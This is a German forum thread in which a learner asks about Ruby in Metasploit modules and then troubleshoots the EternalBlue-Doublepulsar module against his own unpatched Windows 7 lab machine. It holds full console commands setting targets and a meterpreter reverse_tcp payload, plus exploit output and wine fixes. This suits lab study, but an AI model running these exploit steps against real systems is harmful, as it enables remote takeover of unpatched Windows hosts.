Metasploit / Ruby und Code verstehen...

hallo,
ich arbeite mich gerade in Ruby ein, den Code verstehe ich so lala bis auf die ersten 3 Zeilen,
HTML:
require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote

  include Msf::Exploit::Remote::SMB::Client
was passiert da?
 
require bedeutet, dass ein bestimmter Paketsatz (msf/core) benötigt wird. Aus diesem wird die Klasse (MetasploitModule) geladen. Include für ein Objekt aus einer anderen Datei ein.

Hinweis: Aus Programmierersicht (was ich nicht bin) wäre besser:

if( ! include Msf::Exploit::Remote::SMB::Client ) -> Throw Exception.
Include ist nämlich eine boolean Funktion.
 
Zuletzt bearbeitet:
Hinweis: Aus Programmierersicht (was ich nicht bin) wäre besser:
if( ! include Msf::Exploit::Remote::SMB::Client ) -> Throw Exception. Include ist nämlich eine boolean Funktion.

So wie ich das sehe ist durch das require schon sichergestellt, dass die Klassen verfügbar sind. Ansonsten bricht der Code direkt in der ersten Zeile ab. Das include sorgt dann lediglich dafür, dass genau die gewünschte Funktionalität nutzbar ist.
Also doch etwas anders als es in Sprachen wie C oder C++ ist, wo das include direkt für beides sorgt, dann aber auch alles compilert.
 
require lädt eine Lib als Ruby-Extension.

Das include sorgt dann lediglich dafür, dass genau die gewünschte Funktionalität nutzbar ist.
das Importiert (dort) bereitgestellte Variablen/Konstanten etc.

Das > ist hier eine Auswertung betreffender Module/Libs bzgl. Modulhierachie (Hierarchy Query).

In deinem Fall liegt die Class in der zuvor mit require gelesenen Lib ([FONT=&quot]msf/core/exploit.rb).

[/FONT]
 
So wie ich das sehe ist durch das require schon sichergestellt, dass die Klassen verfügbar sind. Ansonsten bricht der Code direkt in der ersten Zeile ab. Das include sorgt dann lediglich dafür, dass genau die gewünschte Funktionalität nutzbar ist.
Also doch etwas anders als es in Sprachen wie C oder C++ ist, wo das include direkt für beides sorgt, dann aber auch alles compilert.

Was passiert, wenn diese Klasse nicht existiert? Ich denke nicht, dass require sicherstellt, dass jede Klasse, die du gerne "einfügen" möchtest, auch eingefügt werden kann. Daher würde ich hier, auch wenn es idR so sein wird, dass die Klassen existieren werden, den Code so oder so ähnlich schon als sinnvolle Erweiterung zum erkennen von Fehlern (durch Vertipper z.B.) ansehen.

Aber da kann es sein, das Ruby hier doch recht speziell ist und, z.B., Tippfehler anders deutlich macht. :)
 
danke Jungs,
noch ein paar Bauschschmerzen habe ich.

Vor Prinzip her wollte ich mich Spezialien auf Metasploit. Als habe ich mir die Live DVD 2018 Jan heruntergeladen. Dann einen Rechner hergerichtet mit Windows 7 mit SP1 ohne Updates.
Dann bin ich auf diese Anleitung gestossen:
GitHub - ElevenPaths/Eternalblue-Doublepulsar-Metasploit

HTML:
root@kali:~# git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit
Cloning into 'Eternalblue-Doublepulsar-Metasploit'...
remote: Counting objects: 65, done.
remote: Total 65 (delta 0), reused 0 (delta 0), pack-reused 65
Unpacking objects: 100% (65/65), done.

root@kali:~# cd Eternalblue-Doublepulsar-Metasploit/
root@kali:~/Eternalblue-Doublepulsar-Metasploit# mv eternalblue_doublepulsar.rb /usr/share/metasploit-framework/modules/exploits/windows/smb/

msf exploit(windows/smb/eternalblue_doublepulsar) > set rhost 192.168.178.66
rhost => 192.168.178.66
msf exploit(windows/smb/eternalblue_doublepulsar) > set PROCESSINJECT svchost.exe
PROCESSINJECT => svchost.exe
msf exploit(windows/smb/eternalblue_doublepulsar) > set payload windows/metapreter/reverse_tcp
[-] The value specified for payload is not valid.
msf exploit(windows/smb/eternalblue_doublepulsar) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(windows/smb/eternalblue_doublepulsar) > set lhost 192.168.178.44
lhost => 192.168.178.44
msf exploit(windows/smb/eternalblue_doublepulsar) > exploit

[*] Started reverse TCP handler on 192.168.178.44:4444 
[*] 192.168.178.66:445 - Generating Eternalblue XML data
[*] 192.168.178.66:445 - Generating Doublepulsar XML data
[*] 192.168.178.66:445 - Generating payload DLL for Doublepulsar
[-] 192.168.178.66:445 - Exploit failed: Errno::ENOENT No such file or directory @ rb_sysopen - /root/.wine/drive_c/eternal11.dll
[*] Exploit completed, but no session was created.

Die IPs der beiden Rechner stimmen 100 %

Ich will nur auf mein Kali Linux testen. Ich bin für jeden Tipp Dankbar.
 
Hast du wine installiert?


*edit*
Vor Prinzip her wollte ich mich Spezialien auf Metasploit
Dafür wirst du dich mit den Sprachen der scripts auseinandersetzen müssen. In diesem Fall eben Ruby. Lohnt sich aber, ruby ist cool!
 
HTML:
root@kali:~# wine --version
it looks like wine32 is missing, you should install it.
multiarch needs to be enabled first.  as root, please
execute "dpkg --add-architecture i386 && apt-get update &&
apt-get install wine32"
wine-2.0.3 (Debian 2.0.3-1)
root@kali:~# 
root@kali:~# dpkg --add-architecture i386 && apt-get update && apt-get install wine32
Paketlisten werden gelesen... Fertig
Paketlisten werden gelesen... Fertig
Abhängigkeitsbaum wird aufgebaut.       
Statusinformationen werden eingelesen.... Fertig
Paket wine32 ist nicht verfügbar, wird aber von einem anderen Paket
referenziert. Das kann heißen, dass das Paket fehlt, dass es abgelöst
wurde oder nur aus einer anderen Quelle verfügbar ist.

E: Für Paket »wine32« existiert kein Installationskandidat.
root@kali:~#

Irgendwie stehe ich auf dem Schlauch.
Gleiche Fehlermeldung wie oben.

Es MUSS nicht der Exploit sein. Mein Ziel ist: Mit Metaexploit meinen Win 7 SP1 (ohne update) Rechner runterfahren zulassen.
 
Ich wage mal zu bezweifeln, dass du wirklich wine brauchst, da ja die Datei eternal11.dll im Exploit-Code generiert wird:

Code:
  File.open(datastore['WINEPATH']+datastore['DLLName'],'w') do |f|
        print_status("Writing DLL in #{dllpayload}")
        f.print dll
  end

Dein Problem ist also vermutlich nur, dass der Pfad, in dem die DLL erstellt werden soll, nicht existiert und daher die Datei nicht geschrieben werden kann. Daher sollte es reichen den Ordner einfach anzulegen:

Code:
mkdir -p /root/.wine/drive_c/

Edit:
Siehe auch: Exploit failed: Errno::ENOENT No such file * Issue #23 * ElevenPaths/Eternalblue-Doublepulsar-Metasploit * GitHub

Wenn du ernsthaft mit MSF arbeiten willst, solltest du dringend lernen nach Fehlermeldungen zu googlen. ;)
 
Ich wage mal zu bezweifeln, dass du wirklich wine brauchst, da ja die Datei eternal11.dll im Exploit-Code generiert wird:
Code:
mkdir -p /root/.wine/drive_c/


Wenn du ernsthaft mit MSF arbeiten willst, solltest du dringend lernen nach Fehlermeldungen zu googlen. ;)

ok,thx.
es lag wirklich daran :)
nächste Baustelle:
HTML:
msf exploit(windows/smb/eternalblue_doublepulsar) > exploit

[*] Started reverse TCP handler on 192.168.178.27:4444 
[*] 192.168.178.66:445 - Generating Eternalblue XML data
[*] 192.168.178.66:445 - Generating Doublepulsar XML data
[*] 192.168.178.66:445 - Generating payload DLL for Doublepulsar
[*] 192.168.178.66:445 - Writing DLL in /root/.wine/drive_c/eternal11.dll
[*] 192.168.178.66:445 - Launching Eternalblue...
it looks like wine32 is missing, you should install it.
as root, please execute "apt-get install wine32"
err:ole:marshal_object couldn't get IPSFactory buffer for interface {00000131-0000-0000-c000-000000000046}
err:ole:marshal_object couldn't get IPSFactory buffer for interface {6d5140c1-7436-11ce-8034-00aa006009fa}
err:ole:StdMarshalImpl_MarshalInterface Failed to create ifstub, hres=0x80004002
err:ole:CoMarshalInterface Failed to marshal the interface {6d5140c1-7436-11ce-8034-00aa006009fa}, 80004002
err:ole:get_local_server_stream Failed: 80004002
err:ole:marshal_object couldn't get IPSFactory buffer for interface {00000131-0000-0000-c000-000000000046}
err:ole:marshal_object couldn't get IPSFactory buffer for interface {6d5140c1-7436-11ce-8034-00aa006009fa}
err:ole:StdMarshalImpl_MarshalInterface Failed to create ifstub, hres=0x80004002
err:ole:CoMarshalInterface Failed to marshal the interface {6d5140c1-7436-11ce-8034-00aa006009fa}, 80004002
err:ole:get_local_server_stream Failed: 80004002
Could not load wine-gecko. HTML rendering will be disabled.
it looks like wine32 is missing, you should install it.
as root, please execute "apt-get install wine32"
Could not load wine-gecko. HTML rendering will be disabled.
wine: configuration in '/root/.wine' has been updated.
it looks like wine32 is missing, you should install it.
as root, please execute "apt-get install wine32"
wine: Fehlerhaftes EXE-Format für Z:\root\Eternalblue-Doublepulsar-Metasploit\deps\Eternalblue-2.2.0.exe.
[-] 192.168.178.66:445 - Are you sure it's vulnerable?
[*] 192.168.178.66:445 - Launching Doublepulsar...
it looks like wine32 is missing, you should install it.
as root, please execute "apt-get install wine32"
it looks like wine32 is missing, you should install it.
as root, please execute "apt-get install wine32"
wine: Fehlerhaftes EXE-Format für Z:\root\Eternalblue-Doublepulsar-Metasploit\deps\Doublepulsar-1.3.1.exe.
[-] 192.168.178.66:445 - Oops, something was wrong!
[*] Exploit completed, but no session was created.
msf exploit(windows/smb/eternalblue_doublepulsar) >

goggle goggle goggle...
die haben das gleiche Problem:
Bad EXE format * Issue #4 * ElevenPaths/Eternalblue-Doublepulsar-Metasploit * GitHub

HTML:
msf exploit(windows/smb/eternalblue_doublepulsar) > set eternalbluepath /root/Eternalblue-Doublepulsar-Metasploit/deps/
eternalbluepath => /root/Eternalblue-Doublepulsar-Metasploit/deps/
msf exploit(windows/smb/eternalblue_doublepulsar) >

leder das gleiche Ergebnis :-(

Mein Kali läuft auf 64 Bit mein Ziel auf 32 Bit.
ich denke das sollte bei mir passen ---> set payload windows/meterpreter/reverse_tcp (32bit)

Das habe ich auch gecheckt, leider auch ohne Erfolg ---> Change: PROCESSINJECT wlms.exe/lsass.exe
 
... kleiner Nachtrag:
HTML:
root@kali:~# winecfg
it looks like wine32 is missing, you should install it.
as root, please execute "apt-get install wine32"
root@kali:~#

Wine war auf WIndows XP eingestellt.

HTML:
msf exploit(windows/smb/eternalblue_doublepulsar) > exploit

[*] Started reverse TCP handler on 192.168.178.27:4444 
[*] 192.168.178.66:445 - Generating Eternalblue XML data
[*] 192.168.178.66:445 - Generating Doublepulsar XML data
[*] 192.168.178.66:445 - Generating payload DLL for Doublepulsar
[*] 192.168.178.66:445 - Writing DLL in /root/.wine/drive_c/eternal11.dll
[*] 192.168.178.66:445 - Launching Eternalblue...
it looks like wine32 is missing, you should install it.
as root, please execute "apt-get install wine32"
it looks like wine32 is missing, you should install it.
as root, please execute "apt-get install wine32"
wine: Fehlerhaftes EXE-Format für Z:\root\Eternalblue-Doublepulsar-Metasploit\deps\Eternalblue-2.2.0.exe.
[-] 192.168.178.66:445 - Are you sure it's vulnerable?
[*] 192.168.178.66:445 - Launching Doublepulsar...
it looks like wine32 is missing, you should install it.
as root, please execute "apt-get install wine32"
it looks like wine32 is missing, you should install it.
as root, please execute "apt-get install wine32"
wine: Fehlerhaftes EXE-Format für Z:\root\Eternalblue-Doublepulsar-Metasploit\deps\Doublepulsar-1.3.1.exe.
[-] 192.168.178.66:445 - Oops, something was wrong!
[*] Exploit completed, but no session was created.
msf exploit(windows/smb/eternalblue_doublepulsar) >
Die Fehlermeldungen werden weniger :)


ok, ich gebe nicht auf !!!!!!

google google goooooooooooooooooogle...
wine - Wine32 Kali linux error - Stack Overflow

Das war die Lösung :)
 
Zuletzt bearbeitet:
Zurück
Oben